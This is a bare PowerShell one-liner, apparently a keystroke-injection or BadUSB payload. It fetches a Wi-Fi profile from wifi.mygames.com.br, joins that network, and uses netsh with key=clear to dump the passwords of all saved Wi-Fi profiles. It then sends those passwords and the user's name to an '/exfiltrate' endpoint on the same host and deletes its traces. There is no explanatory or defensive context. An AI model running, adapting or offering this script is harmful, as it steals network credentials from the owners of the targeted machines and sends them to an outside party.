iwr wifi.mygames.com.br/profile.xml -OutFile c:\windows\temp\ssid.xml;netsh wlan add profile filename="c:\windows\temp\ssid.xml";del c:\windows\temp\ssid.xml;netsh wlan connect name="{SSID}";$b = (netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Out-String; $n = "http://wifi.mygames.com.br/exfiltrate?file=";$n += "PassowrdsFrom:";$n += $env:UserName;$n += "&data=";$n +=$b;Invoke-WebRequest -Uri $n;netsh wlan delete profile name="{SSID}";exit